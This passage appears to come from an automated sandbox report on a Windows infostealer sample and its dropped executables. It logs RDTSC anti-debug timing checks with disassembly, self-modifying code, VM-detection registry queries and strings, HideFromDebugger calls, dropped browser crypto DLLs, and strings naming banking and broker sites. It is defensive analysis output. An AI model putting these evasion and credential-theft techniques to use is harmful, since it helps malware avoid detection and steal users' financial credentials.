Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73072D second address: 730737 instructions: 0x00000000 rdtsc 0x00000002 ja 00007EFE30C69F06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72A242 second address: 72A246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72A246 second address: 72A24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 733623 second address: 733638 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007EFE30DC1B10h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 736672 second address: 73668E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 737671 second address: 737676 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7392F1 second address: 7392F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7392F7 second address: 7392FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73A363 second address: 73A367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73A367 second address: 73A36B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73B430 second address: 73B436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73B436 second address: 73B43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73F500 second address: 73F50E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73F50E second address: 73F513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73F513 second address: 73F573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30C69F19h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007EFE30C69F0Ch 0x00000012 jmp 00007EFE30C69F10h 0x00000017 pop ebx 0x00000018 push 00000000h 0x0000001a mov bx, 4532h 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D277Ah], edi 0x00000026 xchg eax, esi 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007EFE30C69F11h 0x0000002e rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 74162F second address: 741633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72D27E second address: 72D2A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFE30C69F18h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 745848 second address: 745855 instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFE30DC1B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72DE47 second address: 72DE55 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007EFE30C69F06h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 72F42C second address: 72F430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 733777 second address: 73377B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7346DA second address: 7346E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7347AD second address: 7347C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007EFE30C69F0Dh 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7377D0 second address: 7377F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007EFE30DC1B0Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7377F1 second address: 7377F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73A60A second address: 73A610 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 739538 second address: 73953C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73953C second address: 739540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 739540 second address: 739546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73962C second address: 739636 instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFE30DC1B0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 739636 second address: 739654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFE30C69F14h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 73F75B second address: 73F78E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jmp 00007EFE30DC1B14h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 740703 second address: 74070D instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFE30C69F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 74188B second address: 7418C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007EFE30DC1B18h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7428A7 second address: 7428D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007EFE30C69F10h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 739654 second address: 739658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 74070D second address: 740712 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7418C3 second address: 7418C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 74C60C second address: 74C613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 7581C3 second address: 7581E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B17h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6EA256 second address: 6EA260 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFE30C69F06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6EA260 second address: 6EA26B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 6EA26B second address: 6EA285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30C69F14h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 757019 second address: 757024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 757024 second address: 75702A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 75702A second address: 757030 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 757EC0 second address: 757ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007EFE30C69F06h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 75C606 second address: 75C60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 760CA2 second address: 760CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007EFE30C69F06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 760CB2 second address: 760CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 760CB6 second address: 760CBC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 760CBC second address: 760CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 760CC9 second address: 760CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	RDTSC instruction interceptor: First address: 760CCD second address: 760CD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 827BFA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8A6488 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Special instruction interceptor: First address: 72124C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Special instruction interceptor: First address: 7A5FD6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6E124C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 765FD6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Special instruction interceptor: First address: B9BB91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Special instruction interceptor: First address: D6B6D5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Special instruction interceptor: First address: DCAC23 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Special instruction interceptor: First address: 5DB6EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Special instruction interceptor: First address: 5DB7E4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Special instruction interceptor: First address: 77E750 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Special instruction interceptor: First address: 80E6E8 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsKKEHIEBKJK.exe

Code function: 21_2_04DF0623 rdtsc

21_2_04DF0623

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1007456001\741c6182cd.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7728	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7720	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7724	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8404	Thread sleep count: 76 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8404	Thread sleep time: -2280000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8404	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsKKEHIEBKJK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA7C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CA7C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001C.00000002.2697136130.00000000006BE000.00000040.00000001.01000000.0000000E.sdmp, beda8cb96f.exe, 0000001D.00000002.2700373261.0000000000D23000.00000040.00000001.01000000.0000000F.sdmp, 7255bf1ad0.exe, 0000001E.00000002.2695904907.0000000000761000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.1834499760.00000000011D0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700622606.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp, 7255bf1ad0.exe, 0000001E.00000002.2699667699.0000000001298000.00000004.00000020.00020000.00000000.sdmp, 7255bf1ad0.exe, 0000001E.00000002.2699667699.00000000012D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: beda8cb96f.exe, 0000001D.00000002.2705948069.00000000016DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: DocumentsKKEHIEBKJK.exe, 00000015.00000003.1853489015.0000000001088000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWF
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.1858517484.0000000023770000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696494690x
Source: file.exe, 00000000.00000002.1834499760.000000000118E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.1858517484.0000000023770000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cRECOVE~1381bankoRecoveryImprovedVMware20,11696494690x
Source: file.exe, 00000000.00000002.1833570412.00000000007F7000.00000040.00000001.01000000.00000003.sdmp, DocumentsKKEHIEBKJK.exe, 00000015.00000002.1922812876.00000000006FE000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.1912561098.00000000006BE000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.1941990608.00000000006BE000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.2697136130.00000000006BE000.00000040.00000001.01000000.0000000E.sdmp, beda8cb96f.exe, 0000001D.00000002.2700373261.0000000000D23000.00000040.00000001.01000000.0000000F.sdmp, 7255bf1ad0.exe, 0000001E.00000002.2695904907.0000000000761000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsKKEHIEBKJK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
